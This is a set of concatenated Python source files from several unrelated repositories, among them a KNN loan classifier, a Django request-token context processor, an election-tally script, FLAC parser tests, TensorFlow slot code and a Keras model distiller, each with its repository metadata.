# -*- coding: utf-8 -*- from sklearn.neighbors import KNeighborsClassifier from sklearn.grid_search import GridSearchCV import os from svm_predict import load_data, do_fit, do_predict, plot_predict, \ gridscore_boxplot, scale_train_data, scale_test_data, cross_validate, run_opt def get_app_title(): "get app title" return 'K Nearest Neighbors' def get_app_file(): "get app file prefix" return 'knn_' def get_plotdir(): "get plot directory" return 'knn_plots/' def make_plotdir(): "make plot directory on file system" plotdir = get_plotdir() if not os.access(plotdir, os.F_OK): os.mkdir(plotdir) return plotdir def explore_params(loans_X, loans_y, plotdir, app, appf): '''Explore fit parameters on training data, grid search of fit scores, boxplot gridsearch results.''' clf = KNeighborsClassifier() param_grid = [{'n_neighbors': list(range(5,22,2))}] gs = GridSearchCV(estimator=clf, param_grid=param_grid, cv=10, \ verbose=1, n_jobs=-1, scoring='accuracy') gs.fit(loans_X, loans_y) # fit all grid parameters print("gs grid scores\n", gs.grid_scores_) print("gs best score %.5f %s\n%s" % \ (gs.best_score_, gs.best_params_, gs.best_estimator_)) gridscore_boxplot(gs.grid_scores_, plotdir, app, appf, "nn_unif", "weights=uniform") clf = KNeighborsClassifier(weights='distance') param_grid = [{'n_neighbors': list(range(5,22,2))}] gs = GridSearchCV(estimator=clf, param_grid=param_grid, cv=10, \ verbose=1, n_jobs=-1, scoring='accuracy') gs.fit(loans_X, loans_y) # fit all grid parameters print("gs grid scores\n", gs.grid_scores_) print("gs best score %.5f %s\n%s" % \ (gs.best_score_, gs.best_params_, gs.best_estimator_)) gridscore_boxplot(gs.grid_scores_, plotdir, app, appf, "nn_dist", "weights=distance") def main(): "main program" app = get_app_title() appf = get_app_file() plotdir = make_plotdir() loans_df, loans_y, test_df, test_y, numeric_vars = load_data() indep_vars = numeric_vars # skip scaling for now, fit score 0.68, predict score 0.64 loans_X = loans_df test_X = test_df clf = KNeighborsClassifier(n_neighbors=11) do_fit(clf, loans_X, loans_y, print_out=True) pred_y = do_predict(clf, test_X, test_y, print_out=True) # plot_predict(plotdir, app, appf, "rawvar", indep_vars, test_df, test_y, pred_y) # add scaling loans_X, my_scaler = scale_train_data(loans_df, print_out=True) test_X = scale_test_data(my_scaler, test_df) # fit score 0.89, predict score 0.87 clf = KNeighborsClassifier(n_neighbors=11) # other params? n_neighbors, leaf_size, algorithm do_fit(clf, loans_X, loans_y, print_out=True) pred_y = do_predict(clf, test_X, test_y, print_out=True) plot_predict(plotdir, app, appf, "allvar", indep_vars, test_df, test_y, pred_y) # fit score 1.00, predict score 0.87, overfit? clf = KNeighborsClassifier(n_neighbors=11, weights='distance') do_fit(clf, loans_X, loans_y, print_out=True) pred_y = do_predict(clf, test_X, test_y, print_out=True) explore_params(loans_X, loans_y, plotdir, app, appf) clf = KNeighborsClassifier(n_neighbors=11) cross_validate(clf, loans_X, loans_y, print_out=True) clf = KNeighborsClassifier(n_neighbors=11) opt_score, opt_list = run_opt(clf, numeric_vars, loans_df, loans_y, app, appf, plotdir) loans_X, my_scaler = scale_train_data( loans_df[opt_list] ) test_X = scale_test_data(my_scaler, test_df[opt_list]) clf = KNeighborsClassifier(n_neighbors=11) cross_validate(clf, loans_X, loans_y, print_out=True) do_fit(clf, loans_X, loans_y, print_out=True) pred_y = do_predict(clf, test_X, test_y, print_out=True) plot_predict(plotdir, app, appf, "optvar", opt_list, test_df, test_y, pred_y) if __name__ == '__main__': main()
[ "bfetler.gmail.com" ]
bfetler.gmail.com
a5c18402ecb41c999c4cc0e40d8bfa834ec470fb
059d18837160bc30b93b7bb85a9f064fd2e94c8b
/request_token/context_processors.py
a796696e204e1824a76fd86edb58442a1c998cf8
[ "MIT" ]
permissive
alex-hutton/django-request-token
0a5b6257dd90f6ae10b454f40b5f3fed95e7d542
299c4cb22ce3012c7ef995a648e5b1ea6b8a84d7
refs/heads/master
2020-03-18T08:31:28.008597
2019-02-13T08:15:16
2019-02-13T08:15:16
134,514,914
0
1
MIT
2018-05-23T07:18:48
2018-05-23T04:50:25
Python
UTF-8
Python
false
false
522
py
from django.core.exceptions import ImproperlyConfigured from django.utils.functional import SimpleLazyObject def request_token(request): """Adds a request_token to template context (if found on the request).""" def _get_val(): try: return request.token.jwt() except AttributeError: raise ImproperlyConfigured( "Request has no 'token' attribute - is RequestTokenMiddleware installed?" ) return {'request_token': SimpleLazyObject(_get_val)}
[ "noreply@github.com" ]
alex-hutton.noreply@github.com
694876f429d126d606d1183715f6a629347cdb86
4c8c715409b8c7e5ba33052767409294b650f979
/PyPoll_Challenge.py
15001a7e2691513e476669bcd2644c587ba53cdc
[]
no_license
dwwatson1/Election_Analysis
28d5be771fbc401cd097db1ea756df445b7c223b
dc64bd1ad13970157f72b043ef2b0f52f5810a9d
refs/heads/main
2023-03-22T21:53:19.761537
2021-03-15T00:21:01
2021-03-15T00:21:01
343,930,697
0
0
null
null
null
null
UTF-8
Python
false
false
5,175
py
# -*- coding: UTF-8 -*- """PyPoll Homework Challenge Solution.""" # Add our dependencies. import csv import os # Add a variable to load a file from a path. file_to_load = os.path.join("Resources", "election_results.csv") # Add a variable to save the file to a path. file_to_save = os.path.join("analysis", "election_analysis.txt") # Initialize a total vote counter. total_votes = 0 # Candidate Options and candidate votes. candidate_options = [] candidate_votes = {} # 1: Create a county list and county votes dictionary. county_list = [] county_votes = {} # Track the winning candidate, vote count and percentage winning_candidate = "" winning_count = 0 winning_percentage = 0 # 2: Track the largest county and county voter turnout. largest_county_turnout = "" largest_county_vote = 0 # Read the csv and convert it into a list of dictionaries with open(file_to_load) as election_data: reader = csv.reader(election_data) # Read the header header = next(reader) # For each row in the CSV file. for row in reader: # Add to the total vote count total_votes += 1 # Get the candidate name from each row. candidate_name = row[2] # 3: Extract the county name from each row. county_name = row[1] # If the candidate does not match any existing candidate add it to # the candidate list if candidate_name not in candidate_options: # Add the candidate name to the candidate list. candidate_options.append(candidate_name) # And begin tracking that candidate's voter count. candidate_votes[candidate_name] = 0 # Add a vote to that candidate's count candidate_votes[candidate_name] += 1 # 4a: Write an if statement that checks that the # county does not match any existing county in the county list. if county_name not in county_list: # 4b: Add the existing county to the list of counties. county_list.append(county_name) # 4c: Begin tracking the county's vote count. county_votes[county_name] = 0 # 5: Add a vote to that county's vote count. county_votes[county_name] +=1 # Save the results to our text file. with open(file_to_save, "w") as txt_file: # Print the final vote count (to terminal) election_results = ( f"\nElection Results\n" f"-------------------------\n" f"Total Votes: {total_votes:,}\n" f"-------------------------\n\n" f"County Votes:\n") print(election_results, end="") txt_file.write(election_results) # 6a: Write a for loop to get the county from the county dictionary. for county in county_votes: # 6b: Retrieve the county vote count. votes = county_votes[county] # 6c: Calculate the percentage of votes for the county. county_percent = float(votes)/float(total_votes) * 100 county_results = ( f"{county}: {county_percent:.1f}% ({votes:,})\n" ) # 6d: Print the county results to the terminal. print(county_results) # 6e: Save the county votes to a text file. txt_file.write(county_results) # 6f: Write an if statement to determine the winning county and get its vote count. if (votes > largest_county_vote): largest_county_vote = votes largest_county_turnout = county # 7: Print the county with the largest turnout to the terminal. largest_county_turnout = ( f"-------------------------\n" f"Largest County Turnout: {largest_county_turnout}\n" f"-------------------------\n" ) print(largest_county_turnout) # 8: Save the county with the largest turnout to a text file. txt_file.write(largest_county_turnout) # Save the final candidate vote count to the text file. for candidate_name in candidate_votes: # Retrieve vote count and percentage votes = candidate_votes.get(candidate_name) vote_percentage = float(votes) / float(total_votes) * 100 candidate_results = ( f"{candidate_name}: {vote_percentage:.1f}% ({votes:,})\n") # Print each candidate's voter count and percentage to the # terminal. print(candidate_results) # Save the candidate results to our text file. txt_file.write(candidate_results) # Determine winning vote count, winning percentage, and candidate. if (votes > winning_count) and (vote_percentage > winning_percentage): winning_count = votes winning_candidate = candidate_name winning_percentage = vote_percentage # Print the winning candidate (to terminal) winning_candidate_summary = ( f"-------------------------\n" f"Winner: {winning_candidate}\n" f"Winning Vote Count: {winning_count:,}\n" f"Winning Percentage: {winning_percentage:.1f}%\n" f"-------------------------\n") print(winning_candidate_summary) # Save the winning candidate's name to the text file txt_file.write(winning_candidate_summary)
[ "noreply@github.com" ]
dwwatson1.noreply@github.com
394ec0f4ab18682e8413da542e9e3e439acb3bd0
460db28a01aebffa39e8010e0943ca6e2afcc6a4
/pos/migrations/0036_store_position.py
eaed8e02255584a6a79f3c3f5e11a3c2b68f2034
[]
no_license
cosmo83/djangopos
c524a5619ea46171a581444ed4cc5fc925369677
00ef4eac288305a274392397f145f1bdcf41376d
refs/heads/master
2022-04-11T01:30:01.535121
2020-03-26T07:21:25
2020-03-26T07:21:25
230,745,290
0
0
null
null
null
null
UTF-8
Python
false
false
446
py
# Generated by Django 2.0.13 on 2020-01-06 03:34 from django.db import migrations import geoposition.fields class Migration(migrations.Migration): dependencies = [ ('pos', '0035_remove_store_position'), ] operations = [ migrations.AddField( model_name='store', name='position', field=geoposition.fields.GeopositionField(blank=True, default='', max_length=42), ), ]
[ "arava@sat-infotech.com" ]
arava@sat-infotech.com
f5a00325405c5930bc9a4fc4f3b9a28aeb518e99
e3cd5c58275eafbacd0ef2ba2e1d5e631aaf4d3f
/heritagesites/views_orig.py
84a0fa441bb5853f4b65341a259a08df8c27f963
[ "MIT" ]
permissive
p1ho/heritagesites
748ac9dacbdded9da3aba3daf2f1a263318174a1
0345e06c67717460d9cc412313297ba967823209
refs/heads/master
2020-04-06T08:48:25.728524
2019-01-04T19:29:54
2019-01-04T19:29:54
157,316,185
0
0
null
null
null
null
UTF-8
Python
false
false
177
py
from django.shortcuts import render from django.http import HttpResponse def index(request): return HttpResponse("Hello, world. You're at the UNESCO Heritage Sites index.")
[ "hopokuan@umich.edu" ]
hopokuan@umich.edu
d8e47f72b09737b50917034242ea21713c383732
32a1f89277e4a51535acc718394eba07a3890847
/app.py
4ca9adfd304fae68efa85e625bdd3c6d0a045ad3
[]
no_license
smkhassan/safemasks
60722b2f31715edd3a61da14b1188be1121ec84d
b8b4f039e3a150ac80c8a31ed6d612934cd6ed99
refs/heads/master
2021-08-09T23:44:08.360005
2020-04-06T18:11:55
2020-04-06T18:11:55
253,209,219
0
0
null
2021-06-02T01:22:24
2020-04-05T10:33:01
Python
UTF-8
Python
false
false
463
py
from safe_masks_crawler import alibaba_module from safe_masks_transformer import azure_storage_table ##Global Variables url_test_local = 'https://www.alibaba.com/product-detail/5Layers-Multifunctional-Face-Masks-KN95-Respirator_62532136916.html?spm=a2700.galleryofferlist.0.0.125c66d3DbeLJk&s=p' # flag = True # while flag: alibaba_product = alibaba_module.crawler.crawl(url_test_local) azure_storage_table.Storage.WriteToStorage(products=alibaba_product)
[ "futureco@email.cz" ]
futureco@email.cz
091061c476f879f5c005aa427eec4a451ceba15c
f3872d1d47f5231eeec91d9fd36e1a15f72b400e
/moddle_project/moddle/migrations/0002_booking_booking_approved.py
e966321a283b0d86bb3df4eb60424c94d8621a2a
[]
no_license
ambidextrous/Moddle
4009054802dca71d0501e2d48255bce7eb7d527c
08d622e3dc661049fd33fa437f446534d3810496
refs/heads/master
2021-01-20T11:06:32.075079
2017-03-23T17:19:19
2017-03-23T17:19:19
82,162,225
0
1
null
null
null
null
UTF-8
Python
false
false
442
py
# -*- coding: utf-8 -*- # Generated by Django 1.10.3 on 2017-03-21 11:04 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('moddle', '0001_initial'), ] operations = [ migrations.AddField( model_name='booking', name='booking_approved', field=models.NullBooleanField(), ), ]
[ "david.skillman@hotmail.com" ]
david.skillman@hotmail.com
bbcb9df302ea973f60a02fbc803b2b7020697ae0
0f15f96ae8f756253b0fa9067d7d360c53539237
/app.py
2f683a42df87c8bddaf4ecec7eecb99a567a2ea6
[]
no_license
SarayuGautam/Flask-Crud-API
0ff28f6217c26272b25b19141bfe276640f203fd
fd8e0d5073b5437b5d6c00b619b654507d080bf3
refs/heads/main
2023-03-22T17:04:16.758313
2021-03-17T04:22:13
2021-03-17T04:22:13
344,140,299
0
0
null
null
null
null
UTF-8
Python
false
false
403
py
from flask import Flask import os from bookSchema import db, ma app = Flask(__name__) app.config["SQLALCHEMY_DATABASE_URI"] = "mysql+mysqlconnector://root:@localhost/flask_crud" app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db.init_app(app) ma.init_app(app) from bookBlueprint import book_bp app.register_blueprint(book_bp, url_prefix="") if __name__ == '__main__': app.run(debug=True)
[ "sarayugautam1@gmail.com" ]
sarayugautam1@gmail.com
132350bf4e4cfb4ed2397c166a68a7287d6874e7
29e66a1b18ac71c911e5e87cdcbce95a9a9205d0
/engine/test_environment.py
4376cb4c2424e88544dcfcffd870731ebbc0c2dc
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
kingsd041/os-tests
61c2208e9bb8457e46ab95275fda7f0c6b9fb3f7
2ea57cb6f1da534633a4670ccb83d40300989886
refs/heads/master
2020-04-04T22:48:09.833896
2018-11-13T09:09:49
2018-11-13T09:14:06
156,336,393
0
0
null
null
null
null
UTF-8
Python
false
false
963
py
# coding = utf-8 # Create date: 2018-10-29 # Author :Bowen Lee def test_environment(ros_kvm_with_paramiko, cloud_config_url): command = 'sudo system-docker inspect env | grep A=A' feed_back = 'A=A' client = ros_kvm_with_paramiko(cloud_config='{url}/test_environment.yml'.format(url=cloud_config_url)) stdin, stdout, stderr = client.exec_command(command, timeout=10) output = stdout.read().decode('utf-8') assert (feed_back in output) command_b = 'sudo system-docker inspect env | grep BB=BB' feed_back_b = 'BB=BB' stdin, stdout, stderr = client.exec_command(command_b, timeout=10) output_b = stdout.read().decode('utf-8') assert (feed_back_b in output_b) command_c = 'sudo system-docker inspect env | grep BC=BC' feed_back_c = 'BC=BC' stdin, stdout, stderr = client.exec_command(command_c, timeout=10) output_c = stdout.read().decode('utf-8') client.close() assert (feed_back_c in output_c)
[ "zhangzhibo521@gmail.com" ]
zhangzhibo521@gmail.com
ecd94f19c1acf8b480d3c67427f46040a6217519
ab0c5c2da1a98276df745e922ea9483360fa476b
/ex038.py
d41942f28c9ce018310b4e0632ea72c48245592f
[]
no_license
edlorencetti/Python-3
7b18cf4ea434b864fb576bda83ab5fb13d5d703a
a66a197f4de2bfd8e197fbb5a4e6d2ed0a2dc05c
refs/heads/master
2022-09-11T12:22:54.711256
2020-05-29T13:23:28
2020-05-29T13:23:28
264,819,685
0
0
null
null
null
null
UTF-8
Python
false
false
285
py
num1 = int(input('Digite o primeiro numero: ')) num2 = int(input('Digite o segundo numero: ')) if num1 > num2: print('O primeiro numero {} e maior'.format(num1)) elif num2 > num1: print('O segundo numero {} e maior'.format(num2)) else: print(' Os dois numeros sao iguais')
[ "edlorencetti@yahoo.com.br" ]
edlorencetti@yahoo.com.br
20822894d537594a5efb0fd8ee155fa74b7aa820
77825f1e70acc955b9cff8d2a7a0a603f4d80278
/for.py
cea79c5092f76f0573799fe6ed30b8be3b9d41e0
[]
no_license
liulinboyi/learnPython
62b382999434527de81388d862e658d178019fdf
0374ff59a01bd408443e334229050b433d7d83a5
refs/heads/main
2023-02-16T05:35:41.740729
2021-01-18T05:43:16
2021-01-18T05:43:16
330,564,972
1
0
null
null
null
null
UTF-8
Python
false
false
428
py
for i in range(1, 5): print(i) else: print('The for loop is over') print("---------------------------------------------------------------------") for i in [1, 2, 3, 4]: print(i) else: print('The for loop is over') print("---------------------------------------------------------------------") a = {1: "h", 2: "e", 3: "l", 4: "l", 5: "o"} for i in a: print(a[i]) else: print('The for loop is over')
[ "814921718@qq.com" ]
814921718@qq.com
c36dc24cded3f102104e2694d5af8dff041ac30f
6aec6db6530620bb9b552008333644c6993e0dcd
/creating node.py
2d570de457d1a3a14f34dc3a72d8392384594099
[]
no_license
TropicalPenguinn/SVLR_blogging
1a087905ada076074872f029c760763aa1b31801
07d27068487ee462f5b604acbe9ee7e24b1ecba4
refs/heads/main
2023-06-10T12:20:45.044080
2021-06-30T06:20:30
2021-06-30T06:20:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,140
py
import numpy as np class plus_node: def __init__(self): self._x,self._y=None,None #입력 정보를 저장하는 변수를 정의한다. self._z=None #출력 정보를 저장하는 변수를 정의한다. def forward(self,x,y): #forward를 수행하는 내부 메소드를 정의한다. self._x,self._y=x,y #입력 정보를 받아 저장한다. self._z=self_x+self._y #출력값을 계산한다. return self._z #출력한다. def backward(self,dz): return dz,dz #"전체의 변화를 알려면 부분 변화의 곱을 구하면 됩니다."여기서 자기 단계의 변화와 자기 앞의 변화를 곱해 vector-chain을 누적해 나갑니다. class minus_node: def __init__(self): self._x,self._y=None,None #입력 정보를 저장하는 변수를 정의한다 self._z=None def forward(self,x,y): #forward를 수행하는 내부 메소드를 정의한다. self._x,self._y=x,y self._z=self._x-self_y return self._z def backward(self,dz): #"전체의 변화를 알려면 부분 변화의 곱을 구하면 됩니다."여기서 자기 단계의 변화와 자기 앞의 변화를 곱해 vector-chain을 누적해 나갑니다. return dz,-dz class mul_node: def __init__(self): #입력 정보를 저장하는 변수를 정의한다 self._x,self._y=None,None self._z=None def forward(self,x,y): #forward를 수행하는 내부 메소드를 정의한다. self._x,self._y=x,y self._z=self._x*self._y return self._z def backward(self,dz): #"전체의 변화를 알려면 부분 변화의 곱을 구하면 됩니다."여기서 자기 단계의 변화와 자기 앞의 변화를 곱해 vector-chain을 누적해 나갑니다. return dz*self._y,dz*self._x class square: #입력 정보를 저장하는 변수를 정의한다 def __init__(self): self._x=None self._z=None def forward(self,x): #forward를 수행하는 내부 메소드를 정의한다. self._x=x self._z=self._x*self._x return self_z def backward(self,dz): #"전체의 변화를 알려면 부분 변화의 곱을 구하면 됩니다."여기서 자기 단계의 변화와 자기 앞의 변화를 곱해 vector-chain을 누적해 나갑니다. return 2*dz*self._x class mean: def __init__(self): #입력 정보를 저장하는 변수를 정의한다 self._x=None self._z=None def forward(self,x): #forward를 수행하는 내부 메소드를 정의한다. self._x=x self._z=np.mean(self._x) def backward(self,dz): #"전체의 변화를 알려면 부분 변화의 곱을 구하면 됩니다."여기서 자기 단계의 변화와 자기 앞의 변화를 곱해 vector-chain을 누적해 나갑니다. return dz*1/len(self._x)*np.ones_like(self._x) #어이쿠 여기는 좀 뭔가 복잡하죠? 평균을 구하는 노드에서는 입력이 많기 때문에 numpy로 받아서 처리합니다. 위 그림을 보시면 알겠지만 평균의 미분 결과는 스칼라가 모두 1/n인 row-vector에요 #그래서 np.ones_like 를 사용해서 이것을 표현합니다.
[ "noreply@github.com" ]
TropicalPenguinn.noreply@github.com
70bd379483ca0da27d1ac68ebe701e36425a5d89
5b0e149a719e28dad17164716d0fa518d4175e90
/tests/test_formats_flac.py
9293f228096d60ee6d47b9606f6c3657f4f5deb5
[ "MIT" ]
permissive
quatmo/audio-metadata
3f7eedaaac3570768e9af607418809664179aa59
e231a682b778688102b7a13e8a49852a99b5b5b5
refs/heads/master
2020-06-24T23:02:33.867841
2019-07-22T10:24:39
2019-07-22T10:24:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,967
py
from pathlib import Path from audio_metadata.formats.flac import ( FLAC, FLACApplication, FLACMetadataBlock, FLACPadding, FLACSeekPoint, FLACSeekTable ) def test_FLAC(): for flac in (Path(__file__).parent / 'files' / 'audio').glob('*.flac'): FLAC.load(flac.read_bytes()) def test_FLACApplication(): application_init = FLACApplication( id='aiff', data=b'FORM\x02\xe0\x9b\x08AIFF' ) application_load = FLACApplication.load( b'aiffFORM\x02\xe0\x9b\x08AIFF' ) assert application_init == application_load assert application_init.id == application_load.id == 'aiff' assert application_init.data == application_load.data == b'FORM\x02\xe0\x9b\x08AIFF' assert repr(application_init) == repr(application_load) == '<Application (aiff)>' def test_FLACMetadataBlock(): metadata_block = FLACMetadataBlock( type=100, size=10 ) assert repr(metadata_block) == '<MetadataBlock [100] (10 bytes)>' def test_FLACPadding(): padding_init = FLACPadding(10) padding_load = FLACPadding.load(b'\x00' * 10) assert padding_init == padding_load assert repr(padding_init) == repr(padding_load) == '<Padding (10 bytes)>' def test_FLACSeektable(): seekpoints = [ FLACSeekPoint(first_sample, offset, num_samples) for first_sample, offset, num_samples in [ (0, 0, 4096), (40960, 140, 4096), (86016, 294, 4096), (131072, 448, 4096), (176128, 602, 4096) ] ] seektable_init = FLACSeekTable(seekpoints) seektable_load = FLACSeekTable.load( b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00' b'\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x10\x00' b'\x00\x00\x00\x00\x00\x01P\x00\x00\x00\x00\x00\x00\x00\x01&\x10\x00' b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc0\x10\x00' b'\x00\x00\x00\x00\x00\x02\xb0\x00\x00\x00\x00\x00\x00\x00\x02Z\x10\x00' ) assert seektable_init == seektable_load assert seektable_init.data == seektable_load.data == seekpoints
[ "mail@thebigmunch.me" ]
mail@thebigmunch.me
0bcf618786fc3b42c93b023e3be42c7d4c7ff004
8d456522c7afab21d1b3fb69cf84a85544b773f6
/Modulos/SGE/Examen2/Ej3.py
14978f8d3e91281ef4b59a45baf4e8cdf0f0aa13
[]
no_license
JPuentenueva/2DAM
95c717528aa12d3b8d7d539f58972867b8337e56
419b6e5b92a8704b70e92cd4bdfb4e720f9b3dda
refs/heads/master
2021-01-13T08:24:35.806324
2017-04-06T17:16:41
2017-04-06T17:16:41
71,870,336
0
0
null
null
null
null
UTF-8
Python
false
false
1,238
py
# -*- coding: utf-8 -*- """ Implementar la clase Persona, pensando en usarla en un calendario para felicitaciones, que tendrá como atributos el nombre completo, la fecha de nacimiento, la fecha de su onomástica (santo), su teléfono y email. Tiene que hacer uso de la clase Fecha del ejercicio 1. Implementar el constructor y los getter y setter correspondientes. Sobreescribir el método __le__ de forma que una persona será menor que otra cuando su fecha de nacimiento lo sea. """ class Persona(object): def __init__(self, nombre, fecha_nacimiento, fecha_santo, telefono, email): self.__nombre = nombre self.__fecha_nacimiento = fecha_nacimiento self.__fecha_santo = fecha_santo self.__telefono = telefono self.__email = email def __le__(self, other): if(self.__fecha_nacimiento < other.getFechaNacimiento()): return True else: return False def getNombre(self): return self.__nombre def getFechaNacimiento(self): return self.__fecha_nacimiento def getFechaSanto(self): return self.__fecha_santo def getTelefono(self): return self.__telefono def getEmail(self): return self.__email
[ "jpuentenueva@gmail.com" ]
jpuentenueva@gmail.com
e6b83e012a6dfce314d85ffe645eede2228f83d5
164ffe077dde59373ad9fadcfd727f279a1cfe93
/jni_build/jni/include/tensorflow/python/training/slot_creator.py
e1e15270eb5474cc097e732adb8853eb9d52809d
[]
no_license
Basofe/Community_Based_Repository_Traffic_Signs
524a4cfc77dc6ed3b279556e4201ba63ee8cf6bd
a20da440a21ed5160baae4d283c5880b8ba8e83c
refs/heads/master
2021-01-22T21:17:37.392145
2017-09-28T21:35:58
2017-09-28T21:35:58
85,407,197
0
2
null
null
null
null
UTF-8
Python
false
false
4,142
py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Standard functions for creating slots. A slot is a `Variable` created with the same shape as a primary variable or `Tensor`. A slot is always scoped in the namespace of the primary object and typically has the same device and type. Slots are typically used as accumulators to track values associated with the primary object: ```python # Optimizers can create a slot for each variable to track accumulators accumulators = {var : create_zeros_slot(var, "momentum") for var in vs} for var in vs: apply_momentum(var, accumulators[var], lr, grad, momentum_tensor) # Slots can also be used for moving averages mavg = create_slot(var, var.initialized_value(), "exponential_moving_avg") update_mavg = mavg.assign_sub((mavg - var) * (1 - decay)) ``` """ # pylint: disable=g-bad-name from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import variables def _create_slot_var(primary, val, scope): """Helper function for creating a slot variable.""" slot = variables.Variable(val, name=scope, trainable=False) # pylint: disable=protected-access if isinstance(primary, variables.Variable) and primary._save_slice_info: # Primary is a partitioned variable, so we need to also indicate that # the slot is a partitioned variable. Slots have the same partitioning # as their primaries. real_slot_name = scope[len(primary.op.name + "/"):-1] slice_info = primary._save_slice_info slot._set_save_slice_info(variables.Variable.SaveSliceInfo( slice_info.full_name + "/" + real_slot_name, slice_info.full_shape[:], slice_info.var_offset[:], slice_info.var_shape[:])) # pylint: enable=protected-access return slot def create_slot(primary, val, name, colocate_with_primary=True): """Create a slot initialized to the given value. The type of the slot is determined by the given value. Args: primary: The primary `Variable` or `Tensor`. val: A `Tensor` specifying the initial value of the slot. name: Name to use for the slot variable. colocate_with_primary: Boolean. If True the slot is located on the same device as `primary`. Returns: A `Variable` object. """ # Scope the slot name in the namespace of the primary variable. with ops.name_scope(primary.op.name + "/" + name) as scope: if colocate_with_primary: with ops.colocate_with(primary): return _create_slot_var(primary, val, scope) else: return _create_slot_var(primary, val, scope) def create_zeros_slot(primary, name, dtype=None, colocate_with_primary=True): """Create a slot initialized to 0 with same shape as the primary object. Args: primary: The primary `Variable` or `Tensor`. name: Name to use for the slot variable. dtype: Type of the slot variable. Defaults to the type of `primary`. colocate_with_primary: Boolean. If True the slot is located on the same device as `primary`. Returns: A `Variable` object. """ if dtype is None: dtype = primary.dtype val = array_ops.zeros(primary.get_shape().as_list(), dtype=dtype) return create_slot(primary, val, name, colocate_with_primary=colocate_with_primary)
[ "helder_m_p_novais@hotmail.com" ]
helder_m_p_novais@hotmail.com
209e3207354e26301f10e26a56088939a3e0dbc8
e191760ef4e054f6dd4537ce2a96950e8dbfc713
/extractor/main.py
b5950f36a64bd0309af1300f16936006dfef3485
[]
no_license
ricardojdferreira/carris-analysis
d120f3086e7543ea440b4fbf63ad3d1a3931087b
595e451daaa2f0485f2fabac01f387a1e37dbadb
refs/heads/master
2022-12-12T12:56:43.261799
2020-04-24T22:00:03
2020-04-24T22:00:03
235,426,317
0
0
null
2022-12-08T03:59:06
2020-01-21T19:38:43
Python
UTF-8
Python
false
false
1,918
py
import extractor import dbutils import datetime import argparse import sys import time def main(args): print(">>> main: started extractor") # time variables today = datetime.date.today() delta = datetime.timedelta(days=1) today -= delta days = args.days # postgres variables database = args.database user = args.user password = args.password host = args.host port = args.port db = dbutils.DB() db_connection_success = False while not db_connection_success: try: db.connect(database, user, password, host, port) db_connection_success = True except: print(">>> dbutils: No db connection, waiting 5 sec") time.sleep(5) print(">>> dbutils: Connection successful") # Extractor xtract = extractor.GTFS() while days != 0: date = today.strftime('%Y-%m-%d') # download zip print(f">>> extractor: Downloading {date} data") myzipfile = xtract.get(date) # extract zip & save to db print(f">>> extractor: Extracting {date} date") xtract.extract(myzipfile, date) # add extra columns to files print(f">>> extractor: Adding metadata to {date} files") xtract.add_metadata(date) for file in xtract.list_csv_files(date): print(f">>> dbutils: Loading {file} to database") db.insert_data(file) today -= delta days -= 1 print(">>> main: finished extractor") if __name__ == "__main__": # User input args = sys.argv[1:] parser = argparse.ArgumentParser() parser.add_argument("--database") parser.add_argument("--user") parser.add_argument("--password") parser.add_argument("--host") parser.add_argument("--port") parser.add_argument("--days", type=int) args = parser.parse_args(args) print(args) main(args)
[ "ricardojdferreira@gmail.com" ]
ricardojdferreira@gmail.com
d1f6454f346ba4fea69ba0a5ab429a367e276738
e26bf05bc4177e15c5f8cb28690882189d332bdf
/transformers_keras/distiller.py
2be98f2e2169f1c76841bb016a476c8885621114
[ "Apache-2.0" ]
permissive
OuyKai/transformers-keras
1e4ed574acafcb807f3073f45e6462025c0139e5
58b87d5feb5632e3830c2d3b27873df6ae6be4b3
refs/heads/master
2023-09-06T07:50:10.404744
2021-11-23T02:34:34
2021-11-23T02:34:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,459
py
import tensorflow as tf class Distiller(tf.keras.Model): """Model distiller.""" def __init__(self, teacher: tf.keras.Model, student: tf.keras.Model, **kwargs): super().__init__(inputs=student.inputs, outputs=student.outputs, **kwargs) self.teacher = teacher self.teacher.trainable = False self.student = student def compile(self, student_loss, distill_loss, optimizer, metrics=None, alpha=0.1, temperature=3, **kwargs): super().compile(optimizer=optimizer, metrics=metrics, **kwargs) self.student_loss = student_loss self.distill_loss = distill_loss self.alpha = alpha self.temperature = temperature def train_step(self, data): # Unpack data x, y = data teacher_predictions = self.teacher(x, training=False) with tf.GradientTape() as tape: # Forward pass of student student_predictions = self.student(x, training=True) # Compute losses _student_loss = self.student_loss(y, student_predictions) _distill_loss = self.distill_loss( tf.nn.softmax(teacher_predictions / self.temperature, axis=1), tf.nn.softmax(student_predictions / self.temperature, axis=1), ) loss = self.alpha * _student_loss + (1 - self.alpha) * _distill_loss # Compute gradients trainable_vars = self.student.trainable_variables gradients = tape.gradient(loss, trainable_vars) # Update weights self.optimizer.apply_gradients(zip(gradients, trainable_vars)) # Update the metrics configured in `compile()`. self.compiled_metrics.update_state(y, student_predictions) # Return a dict of performance results = {m.name: m.result() for m in self.metrics} results.update({"student_loss": _student_loss, "distill_loss": _distill_loss}) return results def test_step(self, data): # Unpack the data x, y = data # Compute predictions y_prediction = self.student(x, training=False) # Calculate the loss _student_loss = self.student_loss(y, y_prediction) # Update the metrics. self.compiled_metrics.update_state(y, y_prediction) # Return a dict of performance results = {m.name: m.result() for m in self.metrics} results.update({"student_loss": _student_loss}) return results
[ "zhouyang.luo@gmail.com" ]
zhouyang.luo@gmail.com
9be4a5b88dfceccaa93dbf8fd9329761ebaf0679
